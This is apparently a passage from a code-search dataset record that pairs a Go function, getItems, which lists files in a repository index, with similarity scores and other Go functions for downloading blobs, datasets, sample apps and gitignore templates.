blobPrefix)\n\n\tfmt.Printf(\"Downloading %d blobs\\n\", len(blobList))\n\n\tfor _, blobName := range blobList {\n\t\tblob := container.GetBlobReference(blobName)\n\t\tsr, err := blob.Get(nil)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t\treturn err\n\t\t}\n\t\tdefer sr.Close()\n\n\t\tlocalName := generateLocalName(filePath, blobName)\n\n\t\t// read it!\n\t\tfmt.Printf(\"reading %s\\n\", blobName)\n\t\tgo bh.downloadFile(sr, localName)\n\t}\n\n\treturn nil\n}", "func (h *Handler) Download(source string, destination string) {\n\tlog.Warn(\"generic doesn't support file download\")\n}", "func (c *cloner) downloadZip(cachedFiles []zipFile) (string, bool, error) {\n\tzipPath := \"\"\n\tetag := \"\"\n\tsort.Slice(cachedFiles, func(i, j int) bool { return cachedFiles[i].modTime.Before(cachedFiles[j].modTime) })\n\tif len(cachedFiles) > 0 {\n\t\tlatest := cachedFiles[len(cachedFiles)-1]\n\t\tzipPath = latest.path\n\t\tetag = latest.etag\n\t}\n\t// The latest cached file, if any, is considered a hit until we have downloaded a fresh one. This allows us to use\n\t// the cached copy if GitHub is unavailable.\n\tcacheHit := zipPath != \"\"\n\terr := c.cli.spinner(c.cli.Stderr, color.YellowString(\"Downloading sample apps ...\"), func() error {\n\t\trequest, err := http.NewRequest(\"GET\", \"https://github.com/vespa-engine/sample-apps/archive/refs/heads/master.zip\", nil)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid url: %w\", err)\n\t\t}\n\t\tif etag != \"\" {\n\t\t\trequest.Header = make(http.Header)\n\t\t\trequest.Header.Set(\"if-none-match\", fmt.Sprintf(`W/\"%s\"`, etag))\n\t\t}\n\t\tresponse, err := c.cli.httpClient.Do(request, time.Minute*60)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not download sample apps: %w\", err)\n\t\t}\n\t\tdefer response.Body.Close()\n\t\tif response.StatusCode == http.StatusNotModified { // entity tag matched so our cached copy is current\n\t\t\treturn nil\n\t\t}\n\t\tif response.StatusCode != http.StatusOK {\n\t\t\treturn fmt.Errorf(\"could not download sample apps: github returned status %d\", response.StatusCode)\n\t\t}\n\t\tetag = trimEntityTagID(response.Header.Get(\"etag\"))\n\t\tnewPath, err := c.writeZip(response.Body, etag)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tzipPath = newPath\n\t\tcacheHit = false\n\t\treturn nil\n\t})\n\treturn zipPath, cacheHit, err\n}", "func (cmd *Download) DoRun(args []string) (err error) {\n\tif len(args) < 2 {\n\t\treturn errShowHelp(\"Not enough arguments, see below for usage.\")\n\t}\n\n\tdatasetID := args[0]\n\toutputDir := args[1]\n\n\t// Folder create and check\n\tfi, err := os.Stat(outputDir)\n\tif err != nil && os.IsNotExist(err) {\n\t\terr = os.MkdirAll(outputDir, OutputDirPermissions)\n\t\tif err != nil {\n\t\t\treturn HandleError(errors.Errorf(\"The provided path '%s' does not exist and could not be created.\", outputDir))\n\t\t}\n\t\tfi, err = os.Stat(outputDir)\n\t}\n\tif err != nil {\n\t\treturn HandleError(err)\n\t} else if !fi.IsDir() {\n\t\treturn HandleError(errors.Errorf(\"The provided path '%s' is not a directory\", outputDir))\n\t}\n\n\t// Clients\n\tbatchclient, err := NewClient(cmd.config, cmd.session, cmd.outputter)\n\tif err != nil {\n\t\treturn HandleError(err)\n\t}\n\tss, err := cmd.session.Read()\n\tif err != nil {\n\t\treturn HandleError(err)\n\t}\n\n\tprojectID, err := ss.RequireProjectID()\n\tif err != nil {\n\t\treturn HandleError(err)\n\t}\n\n\tdataOps, err := aws.NewDataClient(\n\t\taws.NewNerdalizeCredentials(batchclient, projectID),\n\t\tss.Project.AWSRegion,\n\t)\n\tif err != nil {\n\t\treturn HandleError(errors.Wrap(err, \"could not create aws dataops client\"))\n\t}\n\n\tcmd.outputter.Logger.Printf(\"Downloading dataset with ID '%v'\", datasetID)\n\tdownloadConf := v1datatransfer.DownloadConfig{\n\t\tBatchClient: batchclient,\n\t\tDataOps: dataOps,\n\t\tLocalDir: outputDir,\n\t\tProjectID: projectID,\n\t\tDatasetID: datasetID,\n\t\tConcurrency: DownloadConcurrency,\n\t}\n\n\tprogressCh := make(chan int64)\n\tprogressBarDoneCh := make(chan struct{})\n\tvar size int64\n\tsize, err = v1datatransfer.GetRemoteDatasetSize(context.Background(), batchclient, dataOps, projectID, datasetID)\n\tif err != nil {\n\t\treturn HandleError(err)\n\t}\n\n\tgo ProgressBar(cmd.outputter.ErrW(), size, progressCh, progressBarDoneCh)\n\tdownloadConf.ProgressCh = progressCh\n\terr = v1datatransfer.Download(context.Background(), downloadConf)\n\tif err != nil {\n\t\treturn HandleError(errors.Wrapf(err, \"failed to download dataset '%v'\", datasetID))\n\t}\n\n\t<-progressBarDoneCh\n\treturn nil\n}", "func (r *Syncer) downloadStoreApply(relativePath string, checksum string, description string, hash crypto.Hash, f util.ReaderConsumer) error {\n\tlog.Printf(\"Downloading %v...\", description)\n\turl := r.URL\n\turl.Path = path.Join(r.URL.Path, relativePath)\n\tbody, err := ReadURL(url.String())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn util.Compose(r.storage.StoringMapper(relativePath, checksum, hash), f)(body)\n}", "func (s *replayService) Download(source string) ([]byte, error) {\n\tif _, has := s.storage[source]; !has {\n\t\treturn nil, fmt.Errorf(\"no such file or directory\")\n\t}\n\treturn s.storage[source], nil\n}", "func (c *Configuration) DownloadRepositoryFileContents(path string) error {\n\tfile, _, resp, err := c.githubAPIClient.Repositories.GetContents(c.ctx, \"github\", \"gitignore\", path, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error occurred while retrieving the github/gitignore repository file contents\")\n\t}\n\n\tif !(resp.StatusCode >= http.StatusOK) && !(resp.StatusCode <= http.StatusIMUsed) {\n\t\treturn errors.Errorf(\"error occurred while retrieving file: %s\", resp.Status)\n\t}\n\n\tfc, err := file.GetContent()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error occurred while decoding file contents\")\n\t}\n\n\tif fileExists(gitignore) {\n\t\tb, err := ioutil.ReadFile(gitignore)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"error occurred while reading gitignore file\")\n\t\t}\n\n\t\tbs := string(b)\n\t\tif strings.Contains(bs, fmtCommentLine(file.GetPath())) && strings.Contains(bs, fmtCommentLine(file.GetHTMLURL())) {\n\t\t\treturn errors.Errorf(\"file type '%s' already exists in gitignore file\", file.GetPath())\n\t\t}\n\n\t\tf, err := os.OpenFile(gitignore, os.O_APPEND|os.O_WRONLY, 0644)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"error occurred while operning gitignore file\")\n\t\t}\n\t\tdefer f.Close()\n\n\t\titems := []string{\n\t\t\t\"\\n\",\n\t\t\tfile.GetPath(),\n\t\t\tfile.GetHTMLURL(),\n\t\t}\n\n\t\tfor _, item := range items {\n\t\t\tf.WriteString(fmtCommentLine(item))\n\t\t}\n\t\tf.WriteString(fc)\n\t} else {\n\t\tf, err := os.Create(gitignore)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"error occurred while creating gitignore file\")\n\t\t}\n\t\tdefer f.Close()\n\n\t\titems := []string{\n\t\t\tfile.GetPath(),\n\t\t\tfile.GetHTMLURL(),\n\t\t}\n\n\t\tfor _, item := range items {\n\t\t\tf.WriteString(fmtCommentLine(item))\n\t\t}\n\t\tf.WriteString(fc)\n\t}\n\treturn nil\n}", "func NewDownloadRepository(db *storm.DB) DownloadRepository {\n\treturn &downloadRepository{\n\t\tdb: db,\n\t}\n}" ]
[ "0.6849753", "0.652801", "0.64715755", "0.6380562", "0.6337232", "0.62812746", "0.6122708", "0.6094378", "0.60897374", "0.6086116", "0.6058918", "0.59934855", "0.58915913", "0.58904564", "0.5856266", "0.584288", "0.58072853", "0.57997537", "0.57943255", "0.57816243", "0.5756688", "0.5745889", "0.5721648", "0.5718454", "0.57158595", "0.5709772", "0.5704988", "0.5689486", "0.56831217", "0.5676221", "0.56717336", "0.567021", "0.5669438", "0.5657538", "0.56574047", "0.5653886", "0.5651672", "0.55739343", "0.5562649", "0.5548299", "0.55400294", "0.5537843", "0.55283463", "0.5521108", "0.5498532", "0.5493549", "0.54834795", "0.547069", "0.5467226", "0.5466897", "0.5452351", "0.54522324", "0.54478157", "0.54312575", "0.541911", "0.54058427", "0.5401547", "0.5399895", "0.53996897", "0.5397661", "0.5395197", "0.5390643", "0.5371101", "0.53667647", "0.53615546", "0.536086", "0.5358637", "0.53579044", "0.53505266", "0.53488773", "0.5336904", "0.53340185", "0.5321494", "0.5313833", "0.530566", "0.53054297", "0.52974135", "0.52950174", "0.52941126", "0.5293555", "0.5291233", "0.5287172", "0.5284186", "0.52794534", "0.5271193", "0.5270389", "0.5268969", "0.5261551", "0.52528816", "0.52498394", "0.524084", "0.52264357", "0.52263314", "0.5225867", "0.5224872", "0.5224005", "0.5215639", "0.52122617", "0.52101946", "0.5208538" ]
0.7770635
0
getItems returns slice with info about items in repository
func getItems(repoIndex *index.Index, url string) []FileInfo { var items []FileInfo for _, os := range repoIndex.Data.Keys() { for _, arch := range repoIndex.Data[os].Keys() { for _, category := range repoIndex.Data[os][arch].Keys() { for _, version := range repoIndex.Data[os][arch][category] { items = append(items, FileInfo{ File: version.File, URL: url + "/" + version.Path + "/" + version.File, OS: os, Arch: arch, Size: version.Size, }) if len(version.Variations) != 0 { for _, subVersion := range version.Variations { items = append(items, FileInfo{ File: subVersion.File, URL: url + "/" + subVersion.Path + "/" + subVersion.File, OS: os, Arch: arch, Size: subVersion.Size, }) } } } } } } return items }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (is *ItemServices) Items(ctx context.Context, limit, offset int) ([]entity.Item, []error) {\n\titms, errs := is.itemRepo.Items(ctx, limit, offset)\n\tif len(errs) > 0 {\n\t\treturn nil, errs\n\t}\n\treturn itms, errs\n}", "func (c *container) Items(prefix, cursor string, count int) ([]stow.Item, string, error) {\n\tvar entries []entry\n\tentries, cursor, err := c.getFolderItems([]entry{}, prefix, \"\", filepath.Join(c.location.config.basePath, c.name), cursor, count, false)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\t// Convert entries to []stow.Item\n\tsItems := make([]stow.Item, len(entries))\n\tfor i := range entries {\n\t\tsItems[i] = entries[i].item\n\t}\n\n\treturn sItems, cursor, nil\n}", "func (c *Container) Items(prefix string, cursor string, count int) ([]stow.Item, string, error) {\n\tquery := &storage.Query{Prefix: prefix}\n\tcall := c.Bucket().Objects(c.ctx, query)\n\n\tp := iterator.NewPager(call, count, cursor)\n\tvar results []*storage.ObjectAttrs\n\tnextPageToken, err := p.NextPage(&results)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\n\tvar items []stow.Item\n\tfor _, item := range results {\n\t\ti, err := c.convertToStowItem(item)\n\t\tif err != nil {\n\t\t\treturn nil, \"\", err\n\t\t}\n\n\t\titems = append(items, i)\n\t}\n\n\treturn items, nextPageToken, nil\n}", "func (m *Drive) GetItems()([]DriveItemable) {\n return m.items\n}", "func getItems(w http.ResponseWriter, r *http.Request) {\n\titems, err := supermart.GetItems(r.Context(), r)\n\tif err != nil {\n\t\tutils.WriteErrorResponse(http.StatusInternalServerError, err, w)\n\t\treturn\n\t}\n\tutils.WriteResponse(http.StatusOK, items, w)\n}", "func GetItems(c *gin.Context) {\n\tvar items []model.ItemJson\n\terr := util.DB.Table(\"items\").Find(&items).Error\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t} else {\n\t\tc.JSON(http.StatusOK, util.SuccessResponse(http.StatusOK, \"Success\", items))\n\t}\n}", "func (c *Client) GetItems(ctx context.Context, owner string) (Items, error) {\n\tresponse, err := c.sendRequest(ctx, owner, http.MethodGet, fmt.Sprintf(\"%s/%s\", c.storeBaseURL, c.bucket), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif response.Code != http.StatusOK {\n\t\tlevel.Error(c.getLogger(ctx)).Log(xlog.MessageKey(), \"Argus responded with non-200 response for GetItems request\",\n\t\t\t\"code\", response.Code, \"ErrorHeader\", response.ArgusErrorHeader)\n\t\treturn nil, fmt.Errorf(errStatusCodeFmt, response.Code, translateNonSuccessStatusCode(response.Code))\n\t}\n\n\tvar items Items\n\n\terr = json.Unmarshal(response.Body, &items)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"GetItems: %w: %s\", errJSONUnmarshal, err.Error())\n\t}\n\n\treturn items, nil\n}", "func getGitHubRepoItems(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\titemType := vars[\"itemType\"]\n\n\tif itemType == \"branch\" || itemType == \"commit\" {\n\t\towner := vars[\"owner\"]\n\t\trepo := vars[\"repo\"]\n\t\ttoken, err := parseTokenFromCookie(r)\n\t\thelpers.HandleError(err)\n\n\t\tvar res interface{}\n\n\t\tif itemType == \"branch\" {\n\t\t\tres, err = github.GetBranches(token, owner, repo)\n\t\t\thelpers.HandleError(err)\n\t\t} else {\n\t\t\tfrom, err := time.Parse(dtParamLayout, r.URL.Query().Get(\"from\"))\n\t\t\tif err != nil {\n\t\t\t\tfrom = time.Now().AddDate(0, 0, -7)\n\t\t\t}\n\t\t\tto, err := time.Parse(dtParamLayout, r.URL.Query().Get(\"to\"))\n\t\t\tif err != nil {\n\t\t\t\tto = time.Now()\n\t\t\t}\n\n\t\t\tres, err = github.GetCommits(token, owner, repo, from, to)\n\t\t\thelpers.HandleError(err)\n\t\t}\n\n\t\tapiResponse(map[string]interface{}{\"data\": res}, w)\n\t} else {\n\t\thelpers.HandleError(errors.New(\"Invalid itemType param\"))\n\t}\n}", "func (api *API) ItemsGet(params Params) (res Items, err error) {\n\tif _, present := params[\"output\"]; !present {\n\t\tparams[\"output\"] = \"extend\"\n\t}\n\tresponse, err := api.CallWithError(\"item.get\", params)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treflector.MapsToStructs2(response.Result.([]interface{}), &res, reflector.Strconv, \"json\")\n\treturn\n}", "func (_CraftingI *CraftingICallerSession) Items(arg0 *big.Int) (struct {\n\tBaseType uint8\n\tItemType uint8\n\tCrafted uint32\n\tCrafter *big.Int\n}, error) {\n\treturn _CraftingI.Contract.Items(&_CraftingI.CallOpts, arg0)\n}", "func (m *ExternalConnection) GetItems()([]ExternalItemable) {\n return m.items\n}", "func (_CraftingI *CraftingISession) Items(arg0 *big.Int) (struct {\n\tBaseType uint8\n\tItemType uint8\n\tCrafted uint32\n\tCrafter *big.Int\n}, error) {\n\treturn _CraftingI.Contract.Items(&_CraftingI.CallOpts, arg0)\n}", "func GetItems(c *gin.Context) {\n\tvar items []models.Item\n\tif err := models.DB.Order(\"name\").Find(&items).Error; err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": \"Could not find items\"})\n\t}\n\tc.JSON(http.StatusOK, gin.H{\"items\": items})\n}", "func getItems(ctx context.Context, request events.APIGatewayProxyRequest,\n\tih *item.Handler) (events.APIGatewayProxyResponse, error) {\n\n\tvar list *item.List\n\n\tlist, err := ih.List(ctx, request.PathParameters[PathParamCategoryID])\n\tif err != nil {\n\t\treturn web.GetResponse(ctx, err.Error(), http.StatusInternalServerError)\n\t}\n\n\treturn web.GetResponse(ctx, list, http.StatusOK)\n}", "func GetItems(filter interface{}) (GetItemResult, error) {\n\t// create connection to database\n\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\n\tdefer cancel()\n\tc := newConnection(ctx)\n\tdefer c.clt.Disconnect(ctx)\n\n\tcursor, err := c.collection(itemCollection).Find(context.Background(), filter)\n\tif err == mongo.ErrNoDocuments {\n\t\treturn GetItemResult{\n\t\t\tGotItemCount: 0,\n\t\t\tData: nil,\n\t\t}, nil\n\t} else if err != nil {\n\t\treturn GetItemResult{}, err\n\t}\n\n\tvar res []bson.M\n\tif err = cursor.All(context.Background(), &res); err != nil {\n\t\treturn GetItemResult{}, err\n\t}\n\treturn GetItemResult{\n\t\tGotItemCount: int64(len(res)),\n\t\tData: res,\n\t}, nil\n}", "func GetItems(ctx *fasthttp.RequestCtx) {\n\tenc := json.NewEncoder(ctx)\n\titems := ReadItems()\n\tenc.Encode(&items)\n\tctx.SetStatusCode(fasthttp.StatusOK)\n}", "func (self *SearchJob) GetItems() (items []Item) {\n\tself.Mutex.Lock()\n\titems = self.Items\n\t//update last access time\n\tself.LastRead = time.Now()\n\t//write to the writer\n\tself.Items = make([]Item, 0)\n\tself.Mutex.Unlock()\n\tlog.Println(\"items:\",len(items))\n\treturn items\n}", "func (c *Client) GetItems(id int) (Item, error) {\n\tc.defaultify()\n\tvar item Item\n\tresp, err := http.Get(fmt.Sprintf(\"%s/item/%d.json\", c.apiBase, id))\n\tif err != nil {\n\t\treturn item, err\n\t}\n\tdefer resp.Body.Close()\n\tdec := json.NewDecoder(resp.Body)\n\terr = dec.Decode(&item)\n\tif err != nil {\n\t\treturn item, err\n\t}\n\treturn item, nil\n}", "func (r *ItemsRepository) getAll() (*[]Item, error) {\n\tvar items *[]Item\n\tif query := r.databaseHandler.DB().Find(&items); query.Error != nil {\n\t\treturn nil, query.Error\n\t}\n\treturn items, nil\n}", "func (c *Controller) GetItems() http.Handler {\n\treturn http.HandlerFunc(func(writer http.ResponseWriter, req *http.Request) {\n\t\tu := utility.New(writer, req)\n\t\tsession := c.store.DB.Copy()\n\t\tdefer session.Close()\n\n\t\tvar items []Item\n\t\tcollection := session.DB(c.databaseName).C(ItemsCollection)\n\t\terr := collection.\n\t\t\tFind(nil).\n\t\t\tSelect(bson.M{\"_id\": 1, \"color\": 1, \"code\": 1, \"description\": 1, \"category\": 1}).\n\t\t\tSort(\"description\").\n\t\t\tAll(&items)\n\t\tif err != nil {\n\t\t\tc.logger.Error(err)\n\t\t\tu.WriteJSONError(\"verification failed\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tu.WriteJSON(items)\n\t})\n}", "func GetItems(da DataAccess, username string) (*ItemList, error) {\n\t// find the user and verify they exist\n\tuser, err := FindUserByName(da, username)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// try to get their items\n\titems, err := da.GetItemsByUser(context.Background(), user.Id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// calculate net worth, asset total, liability total\n\tvar net, asset, liability int64\n\tfor i := range *items {\n\t\tif (*items)[i].Type == ItemTypeAsset {\n\t\t\tnet += (*items)[i].Value\n\t\t\tasset += (*items)[i].Value\n\t\t} else if (*items)[i].Type == ItemTypeLiability {\n\t\t\tnet -= (*items)[i].Value\n\t\t\tliability += (*items)[i].Value\n\t\t}\n\t}\n\n\treturn &ItemList{Username: username, Items: items, NetWorth: net, AssetTotal: asset, LiabilityTotal: liability}, nil\n}", "func (j *DSGitHub) FetchItemsRepository(ctx *Ctx) (err error) {\n\titems := []interface{}{}\n\titem, err := j.githubRepo(ctx, j.Org, j.Repo)\n\tFatalOnError(err)\n\tif item == nil {\n\t\tFatalf(\"there is no such repo %s/%s\", j.Org, j.Repo)\n\t}\n\titem[\"fetched_on\"] = fmt.Sprintf(\"%.6f\", float64(time.Now().UnixNano())/1.0e9)\n\tesItem := j.AddMetadata(ctx, item)\n\tif ctx.Project != \"\" {\n\t\titem[\"project\"] = ctx.Project\n\t}\n\tesItem[\"data\"] = item\n\titems = append(items, esItem)\n\terr = SendToElastic(ctx, j, true, UUID, items)\n\tif err != nil {\n\t\tPrintf(\"%s/%s: Error %v sending %d messages to ES\\n\", j.URL, j.Category, err, len(items))\n\t}\n\treturn\n}", "func (svc *svc) ListItems(ctx context.Context, query model.ItemQuery) ([]model.Item, int64, error) {\n\titems, err := svc.repo.ListItems(ctx, query)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\ttotal, err := svc.repo.CountItems(ctx, query)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treturn items, total, nil\n}", "func (s *GORMStore) GetItems() interface{} {\n\treturn s.items\n}", "func (a *ImageApiService) GetItemImageInfos(ctx _context.Context, itemId string) ([]ImageInfo, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue []ImageInfo\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/Items/{itemId}/Images\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"itemId\"+\"}\", _neturl.QueryEscape(parameterToString(itemId, \"\")) , -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\", \"application/json; profile=CamelCase\", \"application/json; profile=PascalCase\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif ctx != nil {\n\t\t// API Key Authentication\n\t\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\n\t\t\tvar key string\n\t\t\tif auth.Prefix != \"\" {\n\t\t\t\tkey = auth.Prefix + \" \" + auth.Key\n\t\t\t} else {\n\t\t\t\tkey = auth.Key\n\t\t\t}\n\t\t\tlocalVarHeaderParams[\"X-Emby-Authorization\"] = key\n\t\t}\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 404 {\n\t\t\tvar v ProblemDetails\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "func GetItemInfoByIDs(w http.ResponseWriter, r *http.Request) {\n\thelpers.EnableCors(w)\n\tparams := mux.Vars(r)\n\tk := strings.Replace(params[\"ids\"], \" \", \"\", -1)\n\ts := strings.Split(k, \",\")\n\n\tvar itemInfos []models.ItemInfo\n\tdb, err := helpers.CreateDatabase()\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t}\n\n\tfor _, element := range s {\n\t\titemID, err := strconv.Atoi(element)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t}\n\t\terr = helpers.CheckID(&itemID)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t}\n\n\t\titemInfo := GetByID(itemID, db)\n\t\titemInfos = append(itemInfos, itemInfo[0])\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tjson.NewEncoder(w).Encode(itemInfos)\n}", "func (_CraftingI *CraftingICaller) Items(opts *bind.CallOpts, arg0 *big.Int) (struct {\n\tBaseType uint8\n\tItemType uint8\n\tCrafted uint32\n\tCrafter *big.Int\n}, error) {\n\tvar out []interface{}\n\terr := _CraftingI.contract.Call(opts, &out, \"items\", arg0)\n\n\toutstruct := new(struct {\n\t\tBaseType uint8\n\t\tItemType uint8\n\t\tCrafted uint32\n\t\tCrafter *big.Int\n\t})\n\tif err != nil {\n\t\treturn *outstruct, err\n\t}\n\n\toutstruct.BaseType = *abi.ConvertType(out[0], new(uint8)).(*uint8)\n\toutstruct.ItemType = *abi.ConvertType(out[1], new(uint8)).(*uint8)\n\toutstruct.Crafted = *abi.ConvertType(out[2], new(uint32)).(*uint32)\n\toutstruct.Crafter = *abi.ConvertType(out[3], new(*big.Int)).(**big.Int)\n\n\treturn *outstruct, err\n\n}", "func (m *List) GetItems()([]ListItemable) {\n return m.items\n}", "func get(client *http.Client, page int, creds *credentials) ([]repo, error) {\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tq := req.URL.Query()\n\tq.Add(\"page\", strconv.Itoa(page))\n\tq.Add(\"per_page\", strconv.Itoa(perPage))\n\treq.URL.RawQuery = q.Encode()\n\tif creds != nil {\n\t\treq.SetBasicAuth(creds.username, creds.password)\n\t}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"cannot get %q: %s\", req.URL, resp.Status)\n\t}\n\tvar repos []repo\n\td := json.NewDecoder(resp.Body)\n\tif err = d.Decode(&repos); err != nil {\n\t\treturn nil, err\n\t}\n\treturn repos, nil\n}", "func (out Outlooky) GetItems(folder *ole.IDispatch) *ole.IDispatch {\n\titems, err := out.CallMethod(folder, \"Items\")\n\tutil.Catch(err, \"Failed retrieving items.\")\n\n\treturn items.ToIDispatch()\n}", "func (items IntSlice) SubSlice(i, j int) Interface { return items[i:j] }", "func (db Database) GetItems() (*models.ItemList, error) {\n\tlist := &models.ItemList{}\n\n\trows, err := db.Conn.Query(\"SELECT * FROM items ORDER BY created_at desc;\")\n\tif err != nil {\n\t\treturn list, err\n\t}\n\n\tfor rows.Next() {\n\t\tvar item models.Item\n\n\t\tif err = rows.Scan(\n\t\t\t&item.ID,\n\t\t\t&item.Name,\n\t\t\t&item.Description,\n\t\t\t&item.Creation,\n\t\t); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlist.Items = append(list.Items, item)\n\t}\n\n\treturn list, nil\n}", "func (d *Database) GetItems(\n\treq GetItemsRequest) (*GetItemsResponse, error) {\n\tvar err error\n\tresp := GetItemsResponse{\n\t\tItems: []*structs.Item{}}\n\n\tif !req.Unread && req.ReadAfter == nil && req.ReadBefore == nil {\n\t\tlog.Info(\"GetItems() called with empty request\")\n\t\treturn &resp, nil\n\t}\n\n\tif len(req.FeedIDs) != 0 && req.CategoryID != nil {\n\t\treturn nil, errors.New(\"Can't call GetItems for both feeds and a category\")\n\t}\n\n\tif req.Unread && len(req.FeedIDs) == 0 {\n\t\treturn nil, errors.New(\"Can't request unread except by feeds\")\n\t}\n\n\tif (req.ReadAfter != nil) && (req.ReadBefore != nil) {\n\t\treturn nil, errors.New(\"Must not specify both ReadBefore and ReadAfter\")\n\t}\n\n\tif req.ReadAfter != nil {\n\t\t*req.ReadAfter = req.ReadAfter.UTC().Truncate(time.Second)\n\t}\n\n\tif req.ReadBefore != nil {\n\t\t*req.ReadBefore = req.ReadBefore.UTC().Truncate(time.Second)\n\t}\n\n\td.lock.RLock()\n\tdefer d.lock.RUnlock()\n\n\tif err := d.checkClosed(); err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\n\tif !req.IncludeFeeds {\n\t\tresp.Items, err = getItemsFor(d.db, req)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn &resp, nil\n\t}\n\n\ttx, err := d.db.Begin()\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\tdefer tx.Rollback()\n\n\tresp.Items, err = getItemsFor(tx, req)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\n\tif req.IncludeFeeds && req.FeedIDs != nil {\n\t\tresp.Feeds, err = getFeeds(tx, req.FeedIDs)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\ttx.Rollback()\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, err\n\t}\n\treturn &resp, nil\n}", "func ShowItem(db *sql.DB) []ReadItem {\n\trows, err := db.Query(`SELECT ID, Region, Kategorie, Angebot, Laden FROM items\n\tORDER BY ID ASC`)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer 